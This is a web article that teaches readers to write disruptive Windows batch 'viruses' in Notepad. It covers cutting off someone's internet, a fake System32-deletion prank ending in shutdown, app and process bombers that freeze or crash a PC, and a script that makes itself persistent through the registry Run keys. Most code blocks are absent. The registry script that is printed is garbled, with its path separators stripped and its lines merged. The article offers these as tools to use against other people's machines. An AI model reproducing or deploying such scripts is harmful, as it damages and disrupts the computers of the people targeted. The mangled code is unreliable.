A computer virus is a malicious program that tries to harm your computer by replicating itself and modifying other programs. Almost all of us might have faced a virus attack when downloading files from the internet.
In this article, I will explain how to create a virus and how it actually works. If you are facing virus attacks on your computer then make sure to read this guide.
Now computer viruses are actually a program that is coded by the bad guys. Assuming that most of you guys don’t know any programming languages, we will use the Windows batch scripting commands.
It is kind of a scripting language that you can use to play around with Windows.
Let’s start by creating a simple and harmless virus which is called ECLAIR. It is used to test if your antivirus is working or not.
- 1 – Eclair Test File – Test Your Antivirus
- 2 – Stop Internet Access
- 3 – Deleting System32 Prank
- 4 – Matrix Hack
- 5 – App Launcher
- 6 – Endless Notepad Popup
- 7 – Background Process Bomber
- 8 – Disable Internet Connection
1 – Eclair Test File – Test Your Antivirus
Now, this is not a computer virus, it is a simple block of string which triggers your antivirus.
Open notepad and paste the following code:
Now save the file as eclair.com and make sure to select save as type to All files (*.*)
As soon as I saved the file I got a virus detection notification from Windows Defender.
2 – Stop Internet Access
By using this batch file you can stop someone Internet access. Again it is a harmless virus that can be reversed easily.
Again open notepad and paste the below code.
Now save the file as virus.bat and make sure to select save as type to All files (*.*)
To get internet back again, open command prompt and type ipconfig /renew and hit enter.
3 – Deleting System32 Prank
I’m going to show you how to create a virus that will show a warning message about deleting system files. It’s a harmless virus, it won’t delete any of your files.
Simply paste the below code and save it with .bat extension. You can name the file anything you want.
@echo Virus Detceted!!!
@echo Trying to destroy virus
@echo opening system32
@echo Deleting system file 5454
@echo Deleting system file 2395
@echo Deleting system file 3454
@echo system error 45343
@echo system cannot operate without all system files!!!!
This virus will shut down the computer at the end which makes it more realistic. If you don’t want the PC to shut down you can remove the shutdown -s code.
4 – Matrix Hack
This fake virus will open notepad and give it a matrix effect.
Use the below code and save it with .bat extension.
echo %random% %random% %random% %random% %random% %random% %random% %random% %random% %random%
@echo Virus Detected!!!
Below are some harmful viruses which can freeze and destroy your PC.
5 – App Launcher
Want to create an app bomber? I’m going to show you how to create a virus that launches all the Microsoft apps and basically freezes your computer.
Paste the below code and save it with .bat extension.
Restarting the PC will fix it, still not recommended to use it.
6 – Endless Notepad Popup
This code will open endless notepad popups until your PC crashes.
7 – Background Process Bomber
The below code will create an unlimited background process which will result in your computer freezing and crashing at the end.
Paste the below code in notepad and save it with .bat extension.
8 – Disable Internet Connection
This is a harmful notepad virus. This will permanently disable the internet connection. You will have to install a fresh copy of Windows to get the internet connection back.
Use the below code:
echo @echo off>c:windowswimn32.bat
echo break off>c:windowswimn32.bat echo
echo end>c:windowswimn32.batreg add
hkey_local_machinesoftwaremicrosoftwindowscurrentversionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /freg add
hkey_current_usersoftwaremicrosoftwindowscurrentversionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /fecho Your Network has been HACKED!
These were some of the simple computer viruses created using notepad. I’m sure you have learned how to create a computer virus using notepad.